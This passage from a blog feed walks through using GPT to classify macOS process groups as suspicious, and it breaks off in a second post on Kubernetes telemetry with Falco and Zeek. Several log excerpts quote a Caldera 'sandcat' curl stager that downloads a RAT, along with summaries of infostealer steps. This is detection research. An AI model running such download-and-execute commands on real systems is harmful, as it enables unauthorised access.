grouped = df.group_by([\u0026#34;host.name\u0026#34;, \u0026#34;process.group_leader.pid\u0026#34;]) # Create tasks for each group tasks = [ process_single_group(group_key, group_df) for group_key, group_df in grouped ] # Process all groups asynchronously results = await asyncio.gather(*tasks) return pl.DataFrame(results) Grouping happens by host.name and process.group_leader.pid. First the data is sorted by timestamp, which ensures that when we create the markdown table above, everything is in the right order. For each group, we\u0026rsquo;re getting the first user name associated with the processes and then aggregating the list of process names, PIDs, and command lines.\nresults_df = await process_strings_and_analyze_concurrently(merged_df) results_df = results_df.cast({\u0026#34;process.group_leader.pid\u0026#34;: pl.UInt64 }) results_df.head() Here\u0026rsquo;s what a result looks like. The PID 10957 was associated with a Cuckoo infostealer.\nhostname group_leader.pid analysis mitre_tag verdict suspicious_score scr-office-imac.local 10957 The sequence of commands executed on the host \u0026lsquo;scr-office-imac.local\u0026rsquo; under the user \u0026lsquo;michael.scott\u0026rsquo; is highly suspicious. The commands involve gathering system information using \u0026lsquo;system_profiler\u0026rsquo; and \u0026lsquo;sw_vers\u0026rsquo;, which could be part of a reconnaissance phase. The use of \u0026lsquo;osascript\u0026rsquo; to manipulate the visibility of the Terminal window and to prompt for a password under the guise of a system update is indicative of social engineering tactics. The creation of directories and the use of \u0026lsquo;dscl\u0026rsquo; for authentication attempts suggest attempts at credential access. The \u0026lsquo;osascript\u0026rsquo; command to duplicate sensitive files like \u0026lsquo;Cookies.binarycookies\u0026rsquo; and \u0026lsquo;NoteStore.sqlite\u0026rsquo; to a new directory, followed by compressing this directory into a zip file, indicates data collection and potential exfiltration. The subsequent deletion of the directory and zip file points to defense evasion tactics. The presence of these activities, especially the password prompt and file duplication, is highly anomalous for a use… [\u0026ldquo;credential_access\u0026rdquo;,\u0026ldquo;collection\u0026rdquo;,\u0026ldquo;exfiltration\u0026rdquo;,\u0026ldquo;defense_evasion\u0026rdquo;] suspicious 9 At this point you could plug the outputs into an alerting framework. You have a couple of options: use verdict as a boolean or suspicious_score as a threshold. I think anything above a 5 should cause GPT to label the verdict as suspicious, but there is a bit of a black-box in how these outputs happen.\nAssessing performance Now lets look at how GPT performed at being a behavior detector. This was a pretty small experiment so we\u0026rsquo;ll do a simple confusion matrix and heat map.\nFirst we\u0026rsquo;ll cast our verdict column to binary 0 or 1. We could have done this in the first place but 🤷‍♂️.\nfinal_results_df = merged_df.join(results_df, on=[\u0026#34;host.name\u0026#34;, \u0026#34;process.group_leader.pid\u0026#34;], ) final_results_df = final_results_df.with_columns( (pl.col(\u0026#34;malicious\u0026#34;).cast(pl.Int64)).alias(\u0026#34;malicious_binary\u0026#34;) ) final_results_df = final_results_df.with_columns( pl.when(pl.col(\u0026#34;verdict\u0026#34;) == \u0026#34;suspicious\u0026#34;) .then(1) .otherwise(0) .alias(\u0026#34;verdict_binary\u0026#34;) ) final_results_df.head() user.name user.department user.title process.parent.name … verdict suspicious_score malicious_binary verdict_binary michael.scott Management Regional Manager /bin/sh … suspicious 9 1 1 michael.scott Management Regional Manager /bin/sh … suspicious 9 1 1 michael.scott Management Regional Manager /bin/bash … suspicious 9 1 1 michael.scott Management Regional Manager /Volumes/BrewApp/BrewApp … suspicious 9 1 1 michael.scott Management Regional Manager /bin/bash … suspicious 9 1 1 import seaborn as sns import numpy as np import matplotlib.pyplot as plt import polars as pl grouped_by_host = ( final_results_df.group_by([\u0026#34;host.name\u0026#34;, \u0026#34;process.group_leader.pid\u0026#34;]) .agg(pl.col(\u0026#34;verdict_binary\u0026#34;).first(), pl.col(\u0026#34;malicious_binary\u0026#34;).first()) ) grouped_data = ( grouped_by_host.group_by([\u0026#34;verdict_binary\u0026#34;, \u0026#34;malicious_binary\u0026#34;]) .agg(pl.count().alias(\u0026#34;count\u0026#34;)) .join(pl.DataFrame({ \u0026#34;verdict_binary\u0026#34;: [0, 0, 1, 1], \u0026#34;malicious_binary\u0026#34;: [0, 1, 0, 1] }), on=[\u0026#34;verdict_binary\u0026#34;, \u0026#34;malicious_binary\u0026#34;], how=\u0026#34;outer\u0026#34;) .fill_null(0) ) # Construct Confusion Matrix confusion_matrix = np.zeros((2, 2), dtype=int) for row in grouped_data.iter_rows(named=True): verdict = int(row[\u0026#34;verdict_binary_right\u0026#34;]) malicious = int(row[\u0026#34;malicious_binary_right\u0026#34;]) count = int(row[\u0026#34;count\u0026#34;]) confusion_matrix[verdict, malicious] = count sns.heatmap(confusion_matrix, annot=True, fmt=\u0026#34;d\u0026#34;, cmap=\u0026#34;Blues\u0026#34;) plt.xlabel(\u0026#34;Predicted (Malicious Binary)\u0026#34;) plt.ylabel(\u0026#34;Actual (Verdict Binary)\u0026#34;) plt.title(\u0026#34;Confusion Matrix\u0026#34;) plt.xticks([0.5, 1.5], [\u0026#34;0\u0026#34;, \u0026#34;1\u0026#34;], rotation=0) plt.yticks([0.5, 1.5], [\u0026#34;0\u0026#34;, \u0026#34;1\u0026#34;], rotation=0) plt.show() We got really good results! They aren\u0026rsquo;t perfect, so lets take a look at what was misclassified and think about why.\nFalse Negatives We had one false negative here.\ngrouped_by_host.filter((pl.col(\u0026#34;verdict_binary\u0026#34;) == 0) \u0026amp; (pl.col(\u0026#34;malicious_binary\u0026#34;) == 1)) # PID 14703 in my notebook final_results_df.filter(pl.col(\u0026#34;process.group_leader.pid\u0026#34;) == 14703).select([\u0026#34;suspicious_score\u0026#34;, \u0026#34;process.command_line\u0026#34;, \u0026#34;process.group_leader.pid\u0026#34;, \u0026#34;host.name\u0026#34;, \u0026#34;analysis\u0026#34;, \u0026#34;user.department\u0026#34;, \u0026#34;user.title\u0026#34;]) suspicious_score process.command_line process.group_leader.pid host.name analysis user.department user.title 3 curl -s -X POST -H file:sandcat.go -H platform:darwin -H architecture:amd64 https://api.obts.com/file/download 14703 scr-it-mac.local The command executed by the user sadiq.khan, who is an IT Administrator, involves using \u0026lsquo;curl\u0026rsquo; to make a POST request to download a file from \u0026lsquo;https://api.obts.com/file/download\u0026rsquo;. The headers indicate that the file being requested is \u0026lsquo;sandcat.go\u0026rsquo; and it is intended for the \u0026lsquo;darwin\u0026rsquo; platform with \u0026lsquo;amd64\u0026rsquo; architecture. As an IT Administrator, it is within the user\u0026rsquo;s role to download and manage software, especially if it pertains to system administration or security tools. However, the use of \u0026lsquo;curl\u0026rsquo; to download files from an external source can be suspicious if the domain is not recognized or if the file is not verified as safe. The domain \u0026lsquo;obts.com\u0026rsquo; should be verified to ensure it is a legitimate source. The file \u0026lsquo;sandcat.go\u0026rsquo; could potentially be a legitimate tool or a malicious payload, depending on its origin and purpose. Given the user\u0026rsquo;s role, this activity is not immediately suspicious, but it warrants verification of the domain and file to ensure they are legitimate and safe. Corporate and Human Resources IT Administrator This was the curl command that initially launched our Caldera RAT. The next process group, which contained the set of commands issued through the RAT, were correctly classified. As GPT notes, this might be usual for an IT user to do - there\u0026rsquo;s lots of times where I\u0026rsquo;ve curl\u0026rsquo;d some script and piped to bash.\nFalse Positives We had five false positives.\ngrouped_by_host.filter((pl.col(\u0026#34;verdict_binary\u0026#34;) == 1) \u0026amp; (pl.col(\u0026#34;malicious_binary\u0026#34;) == 0)) final_results_df.filter(pl.col(\u0026#34;process.group_leader.pid\u0026#34;).is_in([12949, 11169, 11176, 11295, 12828])).select([\u0026#34;suspicious_score\u0026#34;, \u0026#34;process.command_line\u0026#34;, \u0026#34;process.group_leader.pid\u0026#34;, \u0026#34;host.name\u0026#34;, \u0026#34;analysis\u0026#34;, \u0026#34;user.department\u0026#34;, \u0026#34;user.title\u0026#34;]) suspicious_score process.command_line process.group_leader.pid host.name analysis user.department user.title 6 sudo ./networking.sh 11176 scr-office-imac.local The command executed by the user Michael Scott, who is the Regional Manager, involves using \u0026lsquo;sudo\u0026rsquo; to run a script named \u0026rsquo;networking.sh\u0026rsquo;. The use of \u0026lsquo;sudo\u0026rsquo; indicates that the command is being executed with elevated privileges, which is typical for administrative tasks. However, the execution of a script with elevated privileges can be potentially risky if the script is not verified or if it performs actions that are not typical for the user\u0026rsquo;s role. As a Regional Manager, Michael Scott\u0026rsquo;s responsibilities are more aligned with management and oversight rather than technical or network configuration tasks. This makes the execution of a networking script somewhat unusual for his role. Without additional context on what \u0026rsquo;networking.sh\u0026rsquo; does, it\u0026rsquo;s challenging to definitively assess the risk. If the script is part of a legitimate administrative task or IT maintenance, it might be benign. However, if the script is unknown or performs actions like modifying network configurations or accessing … Management Regional Manager 6 sudo ./disks.sh 11169 scr-office-imac.local The command executed by the user Michael Scott, who is the Regional Manager, involves running a script named \u0026lsquo;disks.sh\u0026rsquo; with elevated privileges using \u0026lsquo;sudo\u0026rsquo;. This action is executed from a bash shell. As a management-level employee, it is unusual for Michael Scott to be directly involved in executing scripts that require administrative privileges, especially those related to disk operations, unless he is troubleshooting or performing a specific task that requires such access. The use of \u0026lsquo;sudo\u0026rsquo; indicates an attempt to execute the script with root privileges, which could be necessary for legitimate administrative tasks. However, without additional context on what \u0026lsquo;disks.sh\u0026rsquo; does, it\u0026rsquo;s challenging to determine the intent behind this action. If \u0026lsquo;disks.sh\u0026rsquo; is a known and trusted script used for legitimate purposes, such as disk maintenance or monitoring, this activity might be benign. However, if the script is unknown or has been recently modified, it could potentially be used for malici… Management Regional Manager 7 curl -s -X POST -H file:sandcat.go -H platform:darwin -H architecture:amd64 https://api.obts.com/file/download 11295 scr-office-imac.local The command executed by the user \u0026lsquo;michael.scott\u0026rsquo;, who is the Regional Manager, involves using \u0026lsquo;curl\u0026rsquo; to make a POST request to download a file from \u0026lsquo;https://api.obts.com/file/download\u0026rsquo;. The headers indicate that the file is named \u0026lsquo;sandcat.go\u0026rsquo; and is intended for a Darwin platform with an amd64 architecture. For a Regional Manager, this type of command is unusual as it involves downloading a file from an external source using command-line tools, which is typically more aligned with IT or development roles. The use of \u0026lsquo;curl\u0026rsquo; to download files can be benign, but it can also be used for malicious purposes, such as downloading malware or unauthorized scripts. The specific file name \u0026lsquo;sandcat.go\u0026rsquo; could potentially be a reference to a known tool or script, which might warrant further investigation. Given the context and the role of the user, this activity is somewhat suspicious. It is important to verify the legitimacy of the URL and the file being downloaded. If this action was not authori… Management Regional Manager 7 curl -s -X POST -H file:sandcat.go -H platform:darwin -H architecture:amd64 https://api.obts.com/file/download 12949 scr-it-mac.local The command executed by the user \u0026lsquo;sadiq.khan\u0026rsquo;, who is an IT Administrator in the Corporate and Human Resources department, involves using \u0026lsquo;curl\u0026rsquo; to make a POST request to download a file from \u0026lsquo;https://api.obts.com\u0026rsquo;. The headers indicate that the file is named \u0026lsquo;sandcat.go\u0026rsquo; and is intended for the Darwin platform with an amd64 architecture. As an IT Administrator, Sadiq Khan may have legitimate reasons to download files for system maintenance or software deployment. However, the use of \u0026lsquo;curl\u0026rsquo; to download a file from an external source, especially with a name like \u0026lsquo;sandcat.go\u0026rsquo;, could be suspicious if the domain \u0026lsquo;obts.com\u0026rsquo; is not recognized as a trusted source. The name \u0026lsquo;sandcat\u0026rsquo; could potentially be associated with certain penetration testing tools or malware, which raises a red flag. Given the user\u0026rsquo;s role, this activity could be part of routine IT operations, but the specific file and domain should be verified to ensure they are legitimate and authorized. If \u0026lsquo;obts.com\u0026rsquo; is not a known … Corporate and Human Resources IT Administrator 7 chmod +x sandcat 12828 scr-office-imac.local The command executed by the user \u0026lsquo;michael.scott\u0026rsquo;, who is the Regional Manager in the Management department, involves changing the permissions of a file named \u0026lsquo;sandcat\u0026rsquo; to make it executable. The use of \u0026lsquo;chmod +x\u0026rsquo; is a common command used to modify file permissions, and in isolation, it is not inherently suspicious. However, the context in which this command is used can change its implications. \u0026lsquo;Sandcat\u0026rsquo; is a known agent used in adversary simulation and red teaming exercises, often associated with the C2 (Command and Control) framework. Given that Michael Scott is a Regional Manager, it is unusual for someone in a management role to be involved in activities that typically require technical expertise, such as executing or preparing files for execution that are commonly associated with penetration testing or adversary simulation tools. While this command alone does not confirm malicious intent, it is anomalous for a user in a management position to execute such a command. This could i… Management Regional Manager The first two FP PIDs are part of the insider threat experiment. Here we had 3 scripts - networking.sh pings a few hosts, disks.sh checks disk space, and audit_users.sh runs dscl commands to query Active Directory. We did not label networking.sh and disks.sh as malicious, because they perform benign actions. However, since we used sudo to run the scripts, GPT assessed that sudo was outside the norm for a manager. In a lot of networks, that is probably true so it\u0026rsquo;s more of a philosophical argument of whether this was correctly labeled to begin with.\nOur other three FPs were related to Caldera again. These are actually all part of the RAT download and execute and look like things we should have labeled as malicious in the first place! Data cleaning is usually the hardest part of the job!\nOutlook Overall I think this experiment gave a good showcase that GPT or LLMs more generally can be useful for behavioral detections. We saw pretty good true positive and negatives, and most of our false positives should have been labeled differently.\nSome thoughts on efficiency: like a lot of modern operating systems, macOS runs a bunch of background tasks. If we look at what was assessed as benign and appears a lot we\u0026rsquo;ll see that two processes account for about a third of all entries:\nfinal_results_df.filter(pl.col(\u0026#34;verdict_binary\u0026#34;) == 0)[\u0026#39;process.command_line\u0026#39;].value_counts().sort(by=\u0026#34;count\u0026#34;).tail() process.command_line count /usr/libexec/biomesyncd 27 /Users/sadiq.khan/Library/Application Support/Google/GoogleUpdater/132.0.6833.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater \u0026ndash;crash-handler \u0026ndash;database=/Users/sadiq.khan/Library/Application Support/Google/GoogleUpdater/132.0.6833.0/Crashpad \u0026ndash;url=https://clients2.google.com/cr/report \u0026ndash;annotation=prod=Update4 \u0026ndash;annotation=ver=132.0.6833.0 \u0026ndash;handshake-fd=5 45 /Users/michael.scott/Library/Application Support/Google/GoogleUpdater/132.0.6833.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater \u0026ndash;crash-handler \u0026ndash;database=/Users/michael.scott/Library/Application Support/Google/GoogleUpdater/132.0.6833.0/Crashpad \u0026ndash;url=https://clients2.google.com/cr/report \u0026ndash;annotation=prod=Update4 \u0026ndash;annotation=ver=132.0.6833.0 \u0026ndash;handshake-fd=5 48 /System/Library/PrivateFrameworks/MediaAnalysis.framework/Versions/A/mediaanalysisd 361 /System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/A/Support/mdworker_shared -s mdworker -c MDSImporterWorker -m com.apple.mdworker.shared 1719 mediaanalysisd and mdwork.shared have a command line that doesn\u0026rsquo;t change. We can save API costs by pre-filtering these out as known good.\nWe also tested the NotLockbit ransomware and were not able to correctly classify it. The malware launches lckmac with no children processes, so there\u0026rsquo;s not enough context for GPT to determine whether its good or bad. You still need EDR and AV!\nNext I\u0026rsquo;m going to apply these techniques to the scenario I use in my threat hunting midterm, which contains Linux and Windows devices. There\u0026rsquo;s a lot of live off the land in that scenario, so I think GPT will score well!\n","permalink":"https://www.kimobu.space/posts/A-Little-Less-Malware-a-Little-More-Context/","summary":"\u003ch1 id=\"introduction\"\u003eIntroduction\u003c/h1\u003e\n\u003cp\u003eA coworker and I gave a \u003ca href=\"https://objectivebythesea.org/v7/talks/OBTS_v7_mBumanglag_jMillman.pdf\"\u003etalk at Objective by the Sea v7\u003c/a\u003e on using Large Language Models (LLMs) as a behavioral detection. Another speaker, \u003ca href=\"https://x.com/DefSecSentinel\"\u003eColson\u003c/a\u003e, gave a great \u003ca href=\"https://objectivebythesea.org/v7/talks/OBTS_v7_cWilhoit.pdf\"\u003etalk\u003c/a\u003e on why behavioral detections are so useful. LLMs are particularly adept at understanding and processing language-like structures, which include not only traditional text but also command-line arguments. In cybersecurity events, where command-line interactions often reveal attacker behaviors, LLMs can be leveraged to do behavioral detection without needing to be an expert in analyzing malicious actions or writing detections.\u003c/p\u003e","title":"A Little Less Malware a Little More Context: Using AI to detect malicious activity"},{"content":"Introduction After adding Kubernetes to my homelab, I wanted to learn how to hack and hunt for malicious activity involving containers. I found Kubernetes GOAT which provides a great way to practice hacking. To do the hunting, we need some additional work to enable telemetry on networks, containers, and Kubernetes. In this post I\u0026rsquo;ll walk through how I instrumented my Microk8s cluster to hunt for the hacking actions you can do in the GOAT.\nNote: Kubernetes GOAT (KG from now on) expects kubectl to work. Using Microk8s, I needed to find/replace instances of kubectl in the setup/teardown scripts with microk8s kubectl.\nEnable telemetry Network telemetry Network telemetry for Security Onion is provided by Zeek. Zeek\u0026rsquo;s sponsor, Corelight, has a page that details some ways to use Zeek to inspect network traffic in Kubernetes. The sidecar method was attractive to me because it was relevant for work.\nA sidecar container is a secondary container that runs alongside the main container in the same Kubernetes pod. It shares the pod’s network and storage resources, allowing it to interact closely with the primary container. Sidecars can be used to enhance the main container’s functionality, such as logging, monitoring, or security. In my case, the sidecar container is used to inspect network traffic for threat hunting without interfering with the main container’s operations.\nI added a Zeek sidecar by modifying scenario/\u0026lt;scenario\u0026gt;/deployment.yaml from the KG Github files. This will mount the NFS share, create a directory with the pod\u0026rsquo;s name, then start sniffing on eth0, outputting in JSON format to the pod name directory. This lets me store the logs on my NAS, saving Kubernetes cluster disk space.\n- name: zeek-sidecar image: zeek/zeek:latest args: - /bin/sh - -c - zeek -i eth0 Log::default_logdir=/zeek/logs/$POD_NAME LogAscii::use_json=T resources: requests: cpu: \u0026#34;100m\u0026#34; memory: \u0026#34;200Mi\u0026#34; limits: cpu: \u0026#34;200m\u0026#34; memory: \u0026#34;500Mi\u0026#34; volumeMounts: - name: zeek-logs mountPath: /zeek/logs env: - name: INTERFACE value: \u0026#34;eth0\u0026#34; - name: POD_NAME valueFrom: fieldRef: fieldPath: metadata.name lifecycle: postStart: exec: command: [\u0026#34;/bin/sh\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;mkdir -p /zeek/logs/$POD_NAME\u0026#34;] volumes: - name: zeek-logs nfs: server: truenas.kimobu.space path: /mnt/Data/nfs_storage/kube/zeek/logs After running the KG set up script, you can see that there are 2(+) containers running in each pod:\nNAME READY STATUS RESTARTS AGE build-code-deployment-69cccc5769-kn27f 2/2 Running 0 48m Host telemetry The defacto standard for collecting container host telemetry off Kubernetes seems to be Sysdig\u0026rsquo;s Falco and again this is work relevant so I\u0026rsquo;ll be doing it. Falco install is simple:\nhelm repo add falcosecurity https://falcosecurity.github.io/charts helm repo update helm install falco falcosecurity/falco Next we need to configure Falco. Output the current config via helm show values falcosecurity/falco \u0026gt; /mnt/nfs/falco/falco-default-values.yaml then edit the resulting file. These changes include:\nChanging the containerd socket to the microk8s location Add my NFS mount for the log Enable JSON output Install and load the k8saudit plugin Create a custom rule that will output execve events. Only the modifications are shown. collectors: containerd: socket: /var/snap/microk8s/common/run/containerd.sock mounts: volumes: - name: falco-logs nfs: server: truenas.kimobu.space path: /mnt/Data/nfs_storage/kube/falco/logs volumeMounts: - name: falco-logs mountPath: /var/log/falco json_output: true falcoctl: artifact: install: resolveDeps: true refs: [falco-rules, k8saudit-rules, k8saudit, json] follow: refs: [falco-rules, k8saudit-rules, k8saudit, json] customRules: custom-rules.yaml: | - rule: Log Execve Syscalls for Elasticsearch desc: Capture execve system calls and log them in a structured format for Elasticsearch ingest pipelines. condition: evt.type = execve and container.id != host output: \u0026gt; \u0026#34;%user.name %user.uid %group.gid %proc.pid %proc.ppid %proc.name %proc.cmdline %proc.exepath %proc.args %proc.cwd %container.id %container.name %container.name %container.image.repository:%container.image.tag %k8s.pod.name %k8s.pod.name %k8s.pod.uid %k8s.pod.uid %k8s.ns.name %k8s.ns.name %k8s.pod.labels %container.privileged %proc.aname[1] %proc.aname[2]\u0026#34; priority: Debug tags: [system_call, execve, elasticsearch] I also needed to update microk8s auditing. Create file /var/snap/microk8s/current/args/audit-policy.yaml:\napiVersion: audit.k8s.io/v1 kind: Policy rules: - level: Metadata Edit /var/snap/microk8s/current/args/kube-apiserver and append:\n--audit-log-path=/mnt/nfs/falco/logs/audit.log --audit-policy-file=${SNAP_DATA}/args/audit-policy.yaml Then systemctl restart snap.microk8s.daemon-kubelite\nIngest the data First I install Elastic Agent to the Kubernetes control plane.\nAgent policy Create a new agent policy to collect the Kubernetes logs. This policy contains these integrations:\nCustom Logs named k8s-audit which collects /mnt/nfs/falco/logs/audit.log Custom Logs named k8s-falco which collects /mnt/nfs/falco/logs/falco.log Custom Logs named k8s-zeek-logs which collects /mnt/nfs/zeek/*/*.log Falco processor Create an ingest pipeline processor (falco) for Falco logs. When the Elastic Agent started collecting these logs via the above policy, it automatically created a pipeline logs-falco-2.3.0 so attach the processor to that pipeline. This uses 2 Painless scripts to parse the Falco output into ECS objects. If the log comes from the syscall rule, one script runs and if it doesn\u0026rsquo;t a different script runs. This handles the different fields that are in each output.\n[ { \u0026#34;json\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;json\u0026#34; } }, { \u0026#34;script\u0026#34;: { \u0026#34;source\u0026#34;: \u0026#34;ctx[\u0026#39;network\u0026#39;] = [:];\\nctx[\u0026#39;network\u0026#39;][\u0026#39;transport\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;fd.l4proto\u0026#39;];\\nctx[\u0026#39;network\u0026#39;][\u0026#39;type\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;fd.type\u0026#39;];\\nctx[\u0026#39;process\u0026#39;] = [:];\\nctx[\u0026#39;process\u0026#39;][\u0026#39;name\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;proc.name\u0026#39;];\\nctx[\u0026#39;process\u0026#39;][\u0026#39;interactive\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;proc.tty\u0026#39;];\\nctx[\u0026#39;process\u0026#39;][\u0026#39;executable\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;proc.exepath\u0026#39;];\\nctx[\u0026#39;process\u0026#39;][\u0026#39;command_line\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;proc.cmdline\u0026#39;];\\nctx[\u0026#39;user\u0026#39;] = [:];\\nctx[\u0026#39;user\u0026#39;][\u0026#39;id\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;user.uid\u0026#39;];\\nctx[\u0026#39;user\u0026#39;][\u0026#39;name\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;user.name\u0026#39;];\\nctx[\u0026#39;process\u0026#39;][\u0026#39;executable\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;proc.exepath\u0026#39;];\\nctx[\u0026#39;source\u0026#39;] = [:];\\nctx[\u0026#39;source\u0026#39;][\u0026#39;port\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;fd.lport\u0026#39;];\\nctx[\u0026#39;destination\u0026#39;] = [:];\\n\\nctx[\u0026#39;destination\u0026#39;][\u0026#39;port\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;fd.rport\u0026#39;];\\nctx[\u0026#39;container\u0026#39;] = [:];\\nctx[\u0026#39;container\u0026#39;][\u0026#39;image\u0026#39;] = [:];\\nctx[\u0026#39;container\u0026#39;][\u0026#39;image\u0026#39;][\u0026#39;tag\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;container.image.tag\u0026#39;];\\nctx[\u0026#39;container\u0026#39;][\u0026#39;image\u0026#39;][\u0026#39;repository\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;container.image.repository\u0026#39;];\\nctx[\u0026#39;container\u0026#39;][\u0026#39;name\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;container.name\u0026#39;];\\nctx[\u0026#39;container\u0026#39;][\u0026#39;id\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;container.id\u0026#39;];\\nctx[\u0026#39;orchestrator\u0026#39;] = [:];\\nctx[\u0026#39;orchestrator\u0026#39;][\u0026#39;namespace\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;k8s.ns.name\u0026#39;];\\nctx[\u0026#39;orchestrator\u0026#39;][\u0026#39;resource\u0026#39;] = [\u0026#39;name\u0026#39; : ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;container.id\u0026#39;]];\\nctx[\u0026#39;event\u0026#39;][\u0026#39;type\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;evt.type\u0026#39;];\\nctx[\u0026#39;tags\u0026#39;].addAll(ctx[\u0026#39;json\u0026#39;][\u0026#39;tags\u0026#39;]);\\n\\nif (ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;].containsKey(\u0026#39;fd.name\u0026#39;) \u0026amp;\u0026amp; ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;fd.name\u0026#39;]!= null) {\\n // Get the \u0026#39;fd.name\u0026#39; field value\\n String fdName = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;fd.name\u0026#39;];\\n \\n // Use regex to capture the source and destination IPs\\n Matcher m = /(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}):\\\\d+-\u0026gt;(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}):\\\\d+/.matcher(fdName);\\n \\n if (m.find()) {\\n String sourceIP = m.group(1); // First captured IP (source IP)\\n ctx[\u0026#39;source\u0026#39;][\u0026#39;ip\u0026#39;] = sourceIP;\\n String destIP = m.group(2); // Second captured IP (destination IP)\\n ctx[\u0026#39;destination\u0026#39;][\u0026#39;ip\u0026#39;] = destIP;\\n }\\n}\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.json.rule != \u0026#39;Log Execve Syscalls for Elasticsearch\u0026#39;\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Process Falco alerts\u0026#34; } }, { \u0026#34;script\u0026#34;: { \u0026#34;source\u0026#34;: \u0026#34;ctx[\u0026#39;process\u0026#39;] = [:];\\nctx[\u0026#39;process\u0026#39;][\u0026#39;name\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;proc.name\u0026#39;];\\nctx[\u0026#39;process\u0026#39;][\u0026#39;interactive\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;proc.tty\u0026#39;];\\nctx[\u0026#39;process\u0026#39;][\u0026#39;executable\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;proc.exepath\u0026#39;];\\nctx[\u0026#39;process\u0026#39;][\u0026#39;command_line\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;proc.cmdline\u0026#39;];\\nctx[\u0026#39;process\u0026#39;][\u0026#39;args\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;proc.args\u0026#39;];\\nctx[\u0026#39;process\u0026#39;][\u0026#39;pid\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;proc.pid\u0026#39;];\\nctx[\u0026#39;process\u0026#39;][\u0026#39;working_directory\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;proc.cwd\u0026#39;];\\nctx[\u0026#39;process\u0026#39;][\u0026#39;parent\u0026#39;] = [:];\\nctx[\u0026#39;process\u0026#39;][\u0026#39;parent\u0026#39;][\u0026#39;pid\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;proc.ppid\u0026#39;];\\nctx[\u0026#39;process\u0026#39;][\u0026#39;parent\u0026#39;][\u0026#39;name\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;proc.aname[1]\u0026#39;];\\nctx[\u0026#39;process\u0026#39;][\u0026#39;grandparent\u0026#39;] = [\u0026#39;name\u0026#39;: ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;proc.aname[1]\u0026#39;]];\\nctx[\u0026#39;user\u0026#39;] = [:];\\nctx[\u0026#39;user\u0026#39;][\u0026#39;id\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;user.uid\u0026#39;];\\nctx[\u0026#39;user\u0026#39;][\u0026#39;name\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;user.name\u0026#39;];\\nctx[\u0026#39;container\u0026#39;] = [:];\\nctx[\u0026#39;container\u0026#39;][\u0026#39;image\u0026#39;] = [:];\\nctx[\u0026#39;container\u0026#39;][\u0026#39;image\u0026#39;][\u0026#39;tag\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;container.image.tag\u0026#39;];\\nctx[\u0026#39;container\u0026#39;][\u0026#39;image\u0026#39;][\u0026#39;repository\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;container.image.repository\u0026#39;];\\nctx[\u0026#39;container\u0026#39;][\u0026#39;security_context\u0026#39;] = 